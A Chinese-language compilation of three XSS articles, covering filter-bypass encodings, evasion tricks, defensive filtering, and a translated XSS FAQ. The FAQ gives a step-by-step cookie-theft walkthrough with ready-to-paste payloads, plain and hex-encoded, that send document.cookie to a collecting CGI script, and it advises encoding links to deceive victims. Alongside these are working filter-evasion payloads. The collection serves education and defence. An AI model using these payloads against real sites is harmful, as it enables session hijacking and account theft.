    有攻就有防，网站程序员肯定不会放任大家利用XSS，所以他们常会过滤类似javascript的关键字符，让大家构造不了自己的XSS，我这里就捡两个 被忽略惯了的字符来说，它们是"&"和"/".首先来说说"&"字符，玩过SQL注入的都知道，注入的语句可以转成16进制再赋给一个变 量运行，XSS的转码和这个还真有异曲同工之妙，原因是我们的IE浏览器默认采用的是UNICODE编码，HTML编码可以用&#ASCII方式 来写，这种XSS转码支持10进制和16进制，SQL注入转码是将16进制字符串赋给一个变量，而XSS转码则是针对属性所赋的值，下面我就拿< img src="javascript:alert('XSS');">示例：

    <img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59"> //10进制转码 如图三

    <img src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b"> //16进制转码。

    这个&#分隔符还可以继续加0变成“&#0106” ，“&#00106” ，“&#000106”　，“&#0000106”等形式。

    而这个"/"字符却暴露了一个严重的XSS 0DAY漏洞，这个漏洞和CSS（Cascading Style Sheets）层叠样式表有很大的关联，下面我就来看看这个漏洞，先举个javascript的eval 函数的例子，官方是这样定义这个函数：

    eval(codeString)，必选项 codestring 参数是包含有效 JScript 代码的字符串值。这个字符串将由 JScript 分析器进行分析和执行。

    我们的JavaScript中的"/"字符是转义字符，所以可以使用"/"连接16进制字符串运行代码

    <SCRIPT LANGUAGE="JavaScript">
eval("/x6a/x61/x76/x61/x73/x63/x72/x69/x70/x74/x3a/x61/x6c/x65/x72/x74/x28/x22/x58/x53/x53/x22/x29")
</SCRIPT>

恐怖的是样式表也支持分析和解释"/"连接的16进制字符串形式，浏览器能正常解释。下面我们来做个实验：
    写一个指定某图片为网页背景的CSS标记：

    <html>
    <body>
    <style>
    BODY { background: url(upload/2011/3/201103300322496357.gif) }
    </style>
    <body>
    <html>

    保存为HTM，浏览器打开显示正常。

    转换background属性值为"/"连接的16进制字符串形式，浏览器打开同样显示正常。

    <html>
    <body>
    <style>
    BODY { background: /75/72/6c/28/68/74/74/70/3a/2f/2f/31/32/37/2e/30/2e/30/2e/31/2f/78/73/73/2e/67/69/66/29 }
    </style>
    <body>
    <html>

    在文章第一部分我已经说过XSS的触发条件包括访问文件的标记属性，因此我们不难构造出

    <img STYLE="background-image: url(javascript:alert('XSS'))">

    这样的XSS语句。有了实验的结果，我们又能对CSS样式表的标记进行XSS转码，浏览器将帮我们解释标记内容，XSS语句示例：

    <img STYLE="background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29"> 看图四

    编者语：XSS攻击以及的可怕性及灵活性深受黑客的喜爱。争对XSS攻击，编者给普通浏览网页用户及WEB应用开发者给出以下的安全建议：

    web用户

    1.在电子邮件或者即时通讯软件中点击链接时需要格外小心：留心可疑的过长链接，尤其是它们看上去包含了HTML代码。如果对其产生怀疑，可以在浏览器地址栏中手工输入域名，而后通过该页面中的链接浏览你所要的信息。

    2.对于XSS漏洞，没有哪种web浏览器具有明显的安全优势。也就是Firefox也同样不安全。为了获得更多的安全性，可以安装一些浏览器插件：比如Firefox的NoScript或者Netcraft工具条。

    3.世界上没有“100%的有效”。尽量避免访问有问题的站点：比如提供hack信息和工具、破解软件、成人照片的网站。这些类型的网站会利用浏览器漏洞并危害操作系统。

    web应用开发者

    1.对于开发者，首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键字、http头、post数据等。只接受在你所规定长度范围内、采用适当格式、你所希望的字符。阻塞、过滤或者忽略其它的任何东西。

    2.保护所有敏感的功能，以防被bots自动化或者被第三方网站所执行。实现session标记（session tokens）、CAPTCHA系统或者HTTP引用头检查。

    3.如果你的web应用必须支持用户提供的HTML，那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来保护web站点：确认你接收的 HTML内容被妥善地格式化，仅包含最小化的、安全的tag（绝对没有JavaScript），去掉任何对远程内容的引用（尤其是样式表和 JavaScript）。为了更多的安全，请使用httpOnly的cookie。

=========================================
也谈跨站脚本攻击与防御:upload/2011/3/201103300322498387.jpg" width=100 οnerrοr=alert("载入图片错误!")>

很 多的程序最终都是将用户的输入转换成这种形式的。可以看到<>是告诉浏览器这是一个Html标记，img是这个Html标记的名称，src 是这个标记的第一个属性，=后面是这个属性的值，后面的width是第二个属性，onerror是标记的事件属性。大家可以看到，一个Html标记是包括 很多元素的，并不是传统意义上的只有输入<>才会注入Html，事实上只要你的输入处在Html标签内，产生了新的元素或者属性，就实现了跨 站脚本攻击！实际上大多数隐秘的跨站脚本攻击是不需要<>的，因为现在的Ubb标签已经让你处在了Html标记之内，很有意思，不是么？

    2 哪里才是罪恶的来源？

    既然我们的目标是引入代码在目标用户的浏览器内执行，那么我们来看看哪些地方可以引入HTml代码吧！如果用户可以不受限制的引入< >，那么很显然他可以完全操纵一个Html标记，譬如<script>alert('xss')</script>这样的 形式，这对于追求安全的程序来说是绝对不允许的，所以首先要做转换的就是<>，通过如下代码：

过滤代码：
replace(str,"<","&#x3C;")
replace(str,">","&#x3E;")
    好了，用户可能不能构造自己的HTml标记了，那么利用已经存在的属性如何呢？下面的代码依然可以工作得很好：

<img src="javascript:alert(/xss/)" width=100>

因为很多的Html标记里属性都支持javascript:[code]的形式，很好，很多的程序意识到了这一点，可能做了如下的转换：

过滤代码
Dim re
    Set re=new RegExp
    re.IgnoreCase =True
    re.Global=True
re.Pattern="javascript:"
    Str = re.replace(Str,"javascript：")
    re.Pattern="jscript:"
   Str = re.replace(Str,"jscript：")
    re.Pattern="vbscript:"
   Str = re.replace(Str,"vbscript：")
set re=nothing
   
你看，只要发现以javascript等脚本属性的形式都会被过滤掉，失去了:的脚本代码是起不了作用的！这样完美了么？事实上Html属性的值，注意是值而不是属性本身是支持&#ASCii这种形式表示的，譬如上面的代码可以换成这样：

<img src="javascrip&#116&#58alert(/xss/)" width=100>

代码又执行了，呵呵！看来你漏掉了点什么哦，加上这个代码吧！

replace(str,"&","&#x26;")

行了，&失去它原来的意义了，用户不能以其他方式表示Html属性值了哦！等等，这样的过滤真可以相信么？只要发现这种过滤的关键字机制，饶过就是简单的问题了：

<img src="javas    cript:alert(/xss/)" width=100>

没 有javascript关键字了哦！注意中间那个是tab键弄出来的！关键字被拆分了哦！这是个很麻烦的问题，很多人忘记了这些特殊的字符，呵呵！有人想 到要过滤空格了，在过滤之前我们再看看其他的一些东西吧！也许我们现在所处的src属性已经无法利用了，但是我们依然可以产生自己的属性或者事件机制哦！ 依然是可以执行Html代码的，首先说说事件机制吧：

<img src="#" οnerrοr=alert(/xss/)>

这样依然可以执行代码的哦！明白问题出在哪了，不是么？有的程序员仿佛明白了，注意我说的是仿佛，动网就是一个典型的例子，事件属性不是要onerror么？很多人开始用正则表达式了，发现关键的词如onerror就会做转换或者提示用户不执行，是不是没有机会了呢？
    当然不是的，事件只是让代码运行的一种方法而不是所有的，可以定义事件了那么也就可以实现自己弄出自己的属性了，试试下面的：

<img src="#" style="Xss:expression(alert(/xss/));">

呵呵，还是执行了哦！在做关键字过滤之后有人发现是不是属性之间分隔要用到空格，好，他们把空格堵死了（这样认为的人很多，呵呵）！将空格转成&nbsp;是个很普遍的方法？是么？甚至还可以让别人无法关键字拆分，不要太自信了，试试下面的代码看看如何：

<img src="#"/**/οnerrοr=alert(/xss/) width=100>

嘿嘿，Good Work!这好象是利用了脚本里注释会被当作一个空白来表示造成的！那怎么办呢？上面提到的好象一直都是在进行被动的攻击防御，为什么不抓住他的本源出来呢？哪里出了问题哪里堵上！
    上面的问题好象本质上就是一个东西，那就是用户超越了他所处的标签，也就是数据和代码的混淆，对付这种混淆的办法就是限制监牢，让用户在一个安全的空间内 活动，这通过上面的分析大家也可能已经知道，只要在过滤了<>这两个人人都会去杀的字符之后就可以把用户的输入在输出的时候放到"" 之间，现在的一般的程序都是这样做的，譬如 将会转化成<img src="http://www.loveshell.net "> 这是个好的安全习惯，然后呢？就要让用户的输入处在安全的领域里了，这可以通过过滤用户输入里""实现，但是不要忘记了，这个标签本身也是不安全的，过滤 掉空格和tab键就不用担心关键字被拆分饶过了，然后就是用文章中提到的办法过滤掉script关键字，最后就是防止用户通过&#这样的形式饶过 检查，转换掉&吧！
    在文章中开始提到的图里可以看到，数据的转换和过滤是可以在3个地方进行转换的，在接受数据的时候可以转换下，在进入数据库的时候可以转换下，在输出数据 的时候也可以转换下，但是困惑在哪里呢？不得不面对一个问题就是许多时候程序员舍不得为安全做出那么大的应用上的牺牲，安全是要有代价的，譬如现在邮箱的 就不愿意舍弃html标签，所以他们侧重于XSS的IDS检测的性质，只要发现不安全的东西就会转化，但是攻击是无法预知的，漂亮的东西总是脆弱的，有限 制，肯定就有人会饶过，呵呵。本文没什么技术含量，只是希望搞安全的脚本人员能更加的了解Xss，跨站，不是那么简单滴！

=====================================
原作者charlee、原始链接http://tech.idv2.com/2006/08/30/xss-faq/
该文章简单地介绍了XSS的基础知识及其危害和预防方法。Web开发人员的必读。译自 http://www.cgisecurity.com/articles/xss-faq.shtml 。

简介
什么是跨站脚本攻击？
XSS和CSS是什么意思？
跨站脚本攻击有什么危害？
能否给出几个跨站脚本攻击的例子？
能否解释一下XSS cookie盗窃是什么意思？
第一步: 锁定目标
第二步: 测试
第三步: 执行XSS
第四步: 处理收集到的信息
作为网站管理者应当如何防范？
作为用户应当如何防范？
XSS漏洞有多常见？
加密能否防止XSS攻击？
XSS漏洞能否在服务器上执行命令？
如果我不修改CSS/XSS漏洞会怎样？
介绍一些更深入讲解XSS的地方。

--------------------------------------------------------------------------------

简介
现 在的网站包含大量的动态内容以提高用户体验，比过去要复杂得多。 所谓动态内容，就是根据用户环境和需要，Web应用程序能够输出相应的内容。 动态站点会受到一种名为“跨站脚本攻击”（Cross Site Scripting, 安全专家们通常将其所写成 XSS）的威胁，而静态站点则完全不受其影响。 这篇FAQ将使你能更深入地理解这种威胁，并给出如何检测并防止的建议。

什么是跨站脚本攻击？
跨 站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。 用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时，通常会点击其中的链接。 攻击者通过在链接中插入恶意代码，就能够盗取用户信息。 攻击者通常会用十六进制（或其他编码方式）将链接编码，以免用户怀疑它的合法性。 网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面， 而这个页面看起来就像是那个网站应当生成的合法页面一样。 许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。 假设用户甲发表了一篇包含恶意脚本的帖子，那么用户乙在浏览这篇帖子时， 恶意脚本就会执行，盗取用户乙的session信息。有关攻击方法的详细情况将在下面阐述。

XSS和CSS是什么意思？
人们经常将 跨站脚本攻击(Cross Site Scripting)缩写为CSS， 但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。 因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”，显然他是在说跨站脚本攻击。

跨站脚本攻击有什么危害？
为 了搜集用户信息，攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户（详见下文）。一旦得手，他们可以盗取用户帐户， 修改用户设置，盗取/污染cookie，做虚假广告等。每天都有大量的XSS攻击的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务攻击”以及用户仅仅阅读一篇文章 就会受到的“自动攻击”。

http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
能否给出几个跨站脚本攻击的例子？
著名的PHPnuke程序有很多XSS漏洞。由于该程序十分流行， 因此经常被黑客们作为XSS的攻击对象进行检查。 下面给出了几个已公开报告的攻击方法。

http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
能否解释一下XSS cookie盗窃是什么意思？
根据作为攻击对象的Web程序，下面某些变量和插入位置可能需要进行调整。 要注意这只是攻击方法的一个例子。在这个例子中，我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞，通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。

第一步: 锁定目标
当你找到某个Web程序存在XSS漏洞之后，检查一下它是否设置了cookie。 如果在该网站的任何地方设置了cookie，那么就可以从用户那里盗取它。

第二步: 测试
不同的攻击方式将产生不同的XSS漏洞，所以应适当进行测试以使得输出结果看起来像是正常的。 某些恶意脚本插入之后会破坏输出的页面。（为欺骗用户，输出结果非常重要，因此攻击者 有必要调整攻击代码使输出看起来正常。）

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript（或其他客户端脚本）。 下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时，用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息， 说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

 http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> 十六进制用法

 http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67 %69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f %6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e注意: 每种用法都先写为ASCII，再写成十六进制以便复制粘贴。

 1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>   HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e %6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65 %63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f %63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e  2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>   HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72 %69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b %69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e  3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>   HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c %6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75 %72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f %6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e第三步: 执行XSS
将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人 （通过电子邮件、即时通讯软件或其他方式），你应当将其进行十六进制编码，因为 这些URL一眼便可看出包含恶意代码，但经过十六进制编码之后就可以欺骗大部分人。

第四步: 处理收集到的信息
一旦用户点击了你的URL，相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息，然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中，我们仅仅将用户带到了 cookie.cgi页面上。 如果你有时间，你可以在CGI中将用户重定向到原来的页面上， 即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。 即使像Hotmail这样的大型网站也是如此，不过它对附件内容作了 许多过滤以避免cookie被盗。

作为网站管理者应当如何防范？
这 个问题很简单。坚决不要相信任何用户输入并过滤所有特殊字符。这样既可消灭绝大部分的XSS攻击。 另一个建议是输出页面时将 < 和 > 变换成 < 和 >。 要记住，XSS漏洞极具破坏性，一旦被利用，它会给你的事业带来极大的损害。 攻击者会将这些漏洞公之于众，这会在用户隐私的问题上大大降低你的网站的用户信赖度。 当然，仅仅将 ( 和 ) 变换成 < 和 > 是不够的，最好将 ( 和 ) 变换成 ( 和 )，# 和 & 变换成 # 和 &。

作为用户应当如何防范？
保 护自己的最好方法就是仅点击你想访问的那个网站上的链接。例如，如果你访问了一个网站， 该网站有一个链接指向了 CNN，那么不要单击该链接，而是访问 CNN 的主站点并使用搜索引擎查找相关内容。 这样可以杜绝90%以上的XSS攻击。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时 自动进行。当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意。 最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中可以将安全级别设置为最高， 可以防止cookie被盗。

XSS漏洞有多常见？
由于XSS漏洞很容易在大型网站中发现，在黑客圈内它非常流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。

在商业产品中，平均每个月能够发现10-25个XSS漏洞。

加密能否防止XSS攻击？
使用SSL(https)加密的网站并不比不加密的网站好到哪儿去。Web程序仍然以同样的方式工作， 只是攻击是通过加密的连接实现。有些人看到浏览器上的锁图标就认为他们是安全的，其实不然。

XSS漏洞能否在服务器上执行命令？
XSS漏洞会导致Javascript的恶意插入，但它的执行受到很多限制。如果攻击者利用浏览器的漏洞， 有可能在用户的计算机上执行命令。因此，就算能够执行命令也只能在客户端。简单地说，XSS漏洞 可以触发客户端的其他漏洞。

如果我不修改CSS/XSS漏洞会怎样？
如 果不修改XSS漏洞，你的网站上的用户会受到被篡改的威胁。许多大型网站都发现了XSS漏洞， 这个问题已经得到普遍认识。如果不修改，发现它的人也许会警告你的公司，损害公司的信誉。 你拒绝修改漏洞的消息也会传到客户那里，造成公司的信任危机。客户不信任的话还怎么做生意？

介绍一些更深入讲解XSS的地方。
"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html

"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft's Passport System
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com

Many Thanks to David Endler for reviewing this document.

Published to the Public May 2002
Copyright May 2002 Cgisecurity.com

by clin003 at 20070725 from:http://clin003.com/或http://blog.csdn.net/clin003/
++++++++++++++++++++++++++++++++++++
相关链接：
XSS:http://wiki.matrix.org.cn/Wiki.jsp?page=XSS
跨站脚本攻击(XSS)FAQ：http://tech.idv2.com/2006/08/30/xss-faq/
也谈跨站脚本攻击与防御:http://www.xfocus.net/articles/200607/874.html
浅析XSS(Cross Site Script)漏洞原:http://www.xker.com/page/e2007/0704/27444_3.html
PHP-Nuke个人消息存在HTML插入漏洞:http://www.xfocus.net/vuls/200208/2970.html